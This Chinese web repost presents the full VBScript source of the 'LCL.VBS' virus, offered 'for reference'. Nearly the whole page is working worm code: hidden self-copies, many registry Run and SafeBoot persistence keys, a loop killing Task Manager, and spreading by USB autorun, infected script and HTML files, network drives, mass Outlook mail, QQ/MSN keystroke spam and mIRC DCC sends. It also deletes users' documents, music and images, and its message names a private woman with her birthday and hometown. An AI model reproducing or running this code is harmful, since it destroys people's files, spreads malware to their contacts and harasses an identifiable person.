LCL.VBS 病毒源代码
导读：收集整理的这篇文章主要介绍了LCL.VBS 病毒源代码，觉得挺不错的，现在分享给大家，也给大家做个参考。 rem email:kouguoxi@hotmail.COMrem some c...
收集整理的这篇文章主要介绍了LCL.VBS 病毒源代码，觉得挺不错的，现在分享给大家，也给大家做个参考。 rem email:kouguoxi@hotmail.COMrem some crack statement i remment,make IT can't to run
on error resume next
dim title,text
title="can you help me find a PErson?"
text="her name is Liu Chun li."& chr(13)& chr(10)
text=text& "her birthday is 1981-01-23."& chr(13)& chr(10)
text=text& "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."& chr(13)& chr(10)
text=text& "I was died because by her,"& chr(13)& chr(10)
text=text& "I am demanding my life of you."& chr(13)& chr(10)
Set fso = CreateObject("Scripting"& "."& "FileSystem"& "Object")
self=fso.opentextfile(wscript.scriptfullname,1).readall
set WshShell = WScript.CreateObject("WScript"& "."& "Shell")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl=fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin& "\lcl.vbs")
lcl.Copy(dirsystem& "\lcl.vbs")
fso.getfile(dirwin& "\lcl.vbs").attributes=7
fso.getfile(dirsystem& "\lcl.vbs").attributes=7
set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive& "\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.Write text
fso.CopyFile b, Startup& "\lcl.txt"
lcl.Close
dim lcl
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)
Function scode (N)
dim x
for x = 0 to 254
if n = chr(x) then
scode = x
exit function
end if
next
end function
rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
cc = mid (self,l,1)
if l> 99 and instr(self,"Liu Chun li")> 0 then
cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据
else
cipher=chr(scode(cc))
end if
correy=correy& cipher
next
lcl.Write correy
lcl.Close
dim hk,hc,safe
hk="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\currentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwrite hk& "\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hk& "exec\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hk& "Once\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hk& "OnceEx\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hk& "service\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hk& "Services\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hc& "\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hc& "exec\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hc& "Once\lcl",dirsystem& "\lcl.vbs"
wshshell.Regwrite hc& "service\lcl",dirsystem& "\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\"
wshshell.Regwrite safe& "Minimal\lcl.vbs",dirsystem& "\lcl.vbs"
wshshell.Regwrite safe& "Network\lcl.vbs",dirsystem& "\lcl.vbs"
do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop
dim d
For each d in fso.Drives
if d.drivetype> 4 then
fso.CopyFile b, d& "\lcl.txt"
scan(d)
end if
if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then
fso.copyfile wscript.scriptfullname,d& "\lcl.vbs"
fso.getfile(wscript.scriptfullname).attributes=7
set inf=fso.createtextfile(d& "\autorun.inf",true)
fso.getfile(d& "\autorun.inf").attributes=7
inf.writeline "[autorun]"
inf.writeline "open="
inf.writeline "shell\open=打开(& O)"
inf.writeline "shell\open\Command=WScript.exe lclrun.vbs"
inf.writeline "shell\open\Command=WScript.exe lcl.vbs"
inf.writeline "shell\open\Default=1"
inf.writeline "shell\explore=资源管理器(& X)"
inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs"
inf.writeline "shell\explore\Command=WScript.exe lcl.vbs"
inf.close
set ini=fso.createtextfile(d& "\desktop.ini",true)
fso.getfile(d& "\desktop.ini").attributes=7
ini.writeline "[.ShellClassInfo]"
ini.writeline "CLSID={ 645FF040-5081-101B-9F08-00AA002F954E} "
ini.close
set lclrun=fso.createtextfile(d& "\lclrun.vbs",true)
fso.getfile(d& "\lclrun.vbs").attributes=7
lclrun.writeline "On Error GoTo 0"
lclrun.writeline "set fso=CreateObject("& chr(34)& "Scripting.FileSys"& chr(34)& "& "& chr(34)& "temObject"& chr(34)& ")"
lclrun.writeline "ifor each d in fso.drives"
lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"
lclrun.writeline " fso.getfile(d.driveletter"& "& "& chr(34)& ":\lclrun.vbs"& chr(34)& ").attributes = 7 "
lclrun.writeline "set wshshell = wscript.createobject("& chr(34)& "WScript.Shell"& chr(34)& ")"
lclrun.writeline "wshshell.run "& chr(34)& "d.driveletter"& "& "& chr(34)& ":\lclrun.vbs"& chr(34)& chr(34)
lclrun.writeline "wshshell.run "& chr(34)& "d.driveletter"& "& "& chr(34)& ":\lcl.vbs"& chr(34)& chr(34)
lclrun.writeline "end if"
lclrun.writeline "next"
lclrun.close
end if
next
dim wshnetwork,netdrives,net1,net2
Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set netDrives = WSHNetwork.EnumNetworkDrives
If netDrives.Count > 0 Then
For i = 0 To netDrives.Count - 1 Step 2
net1 = netdrives(i)
net2 = netDrives(i + 1)
scan (net1)
scan (net2)
Next
End If
dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
Set outlookApp = CreateObject("Outlook.App"& "lication")
If outlookApp= "Outlook" or outlookapp = "outlook exPress" Then
Set mapiObj=outlookApp.Getnamespace("MAPI") ''获取MAPI的名字空间
Set addrList= mapiObj.AddressLists ''获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count > 0 Then
addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
Set item = outlookApp.Createitem(0) ''获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
item.To = addrEnt.Address
item.Subject = title
item.Body = text
Set attachMents=item.Attachments
attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
item.DeleteAfterSubmit = True ''信件提交后自动删除
If item.To > "" Then
item.Send
wshshell.regwrite "HKCU\software\Mailtest\mailed", "1"
End If
Next
End If
Next
End if
rem next From i love you.
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"& a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)> int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"& malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = title
male.Body = text
male.Attachments.Add(dirsystem& "lcl.vbs")
male.Send
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"& malead,1,"REG_DWORD"
end if
x=x+1
next
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"& a,a.AddressEntries.Count
else
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"& a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
Set objOutlook = CreateObject("Outlook.Application")
If objOutlook = "Outlook" Then
Set objNamespace = objOutlook.GetNameSpace("MAPI")
Set colAddressLists = objNamespace.AddressLists
Set onjNameSpace = Nothing
For Each obJITem In colAddressLists
If objItem.AddressEntries.Count > 0 Then
intCountOfAddresses = objItem.AddressEntries.Count
For i = 1 To intCountOfAddresses
Set objMailMsg = objOutlook.CreateItem(0)
Set objDestAddress = objItem.AddressEntries(i)
objMailMsg.To = objDestAddress.Address
objMailMsg.Subject = title
objMailMsg.Body = text
execute "set objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
strAttach = strFilePathName
objMailMsg.DeleteAfterSubmit = True
objSend.Add strAttach
If objMailMsg.To > "" Then
objMailMsg.Send
End If
Next
End If
Next
Set objOutlook = Nothing
Set objItem = Nothing
Set objMailMsg = Nothing
Set objDestAddress = Nothing
End If
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_PRocess")
For Each wbemObject In wbemObjectSet
if wbemObject.Name="msn.exe" or wbemObject.Name="QQ.exe" then
WshShell.AppActivate wbemobject.name
WshShell.SendKeys "can you help me find a person?"
WshShell.SendKeys "^{ enter} " ' or "^~"
WScript.Sleep 9000
WshShell.SendKeys "her name is Liu Chun li"
WshShell.SendKeys "^{ enter} "
WScript.Sleep 9000
WshShell.SendKeys "her birthday is 1981-02-17."
WshShell.SendKeys "^{ enter} "
WScript.Sleep 9000
WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys "^{ enter} "
end if
Next
sub scan(folder)
On Error GoTo 0
set fd=fso.getfolder(folder)
for each file in fd.files
selF1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then
if instr ( self1 ,"Liu Chun li" ) 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write chr(13)& chr(10)
lcl.write self
lcl.write chr(13)& chr(10)
lcl.close
end if
end if
if ext="htm" or ext="htML" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then
if instr ( self1 ,"Liu Chun li" ) 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write ""& "SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)& chr(10)
lcl.write self
lcl.write ""& "/SCRIPT> "
lcl.write chr(13)& chr(10)
lcl.close
end if
end if
rem or ext="mspx"
if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="CFm" or ext="tpl" or ext="dtd" or ext="hta" then
if instr ( self1 ,"Liu Chun li" ) 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write ""& "SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)& chr(10)
lcl.write self
lcl.write ""& "/SCRIPT> "
lcl.write chr(13)& chr(10)
lcl.close
end if
end if
if ext="ini" then
if not instr ( self1 ,"Liu Chun li" ) > 0 then
dim ini
set ini=fso.opentextfile(file.path,8,true)
ini.writeline chr(13)& chr(10)
ini.WriteLine "[script]"
ini.WriteLine "n0=on 1:JOIN:#:{ "
ini.WriteLine "n1= /if ( $nick == $me ) { halt } "
ini.WriteLine "n2= /.dcc send $nick "& dirsystem& "\lcl.vbs"
rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) { halt} /dcc send $nick "& dirsystem& "\lcl.vbs"} "
'利用命令/ddc send $nick "& dirsystem& "\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine "n3=} "
ini.WriteLine "; Liu Chun li"
ini.close
end if
end if
rem every 9 in the lunar calenda do it
if ext="mP3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then
file.delete true
end if
next
for each subfd in fd.subfolders
scan(subfd)
next
end sub
声明：本文内容由网友自发贡献，本站不承担相应法律责任。对本内容有异议或投诉，请联系2913721942#qq.com核实处理，我们将尽快回复您，谢谢合作！
若转载请注明出处： LCL.VBS 病毒源代码
本文地址： https://pptw.com/jishu/609628.html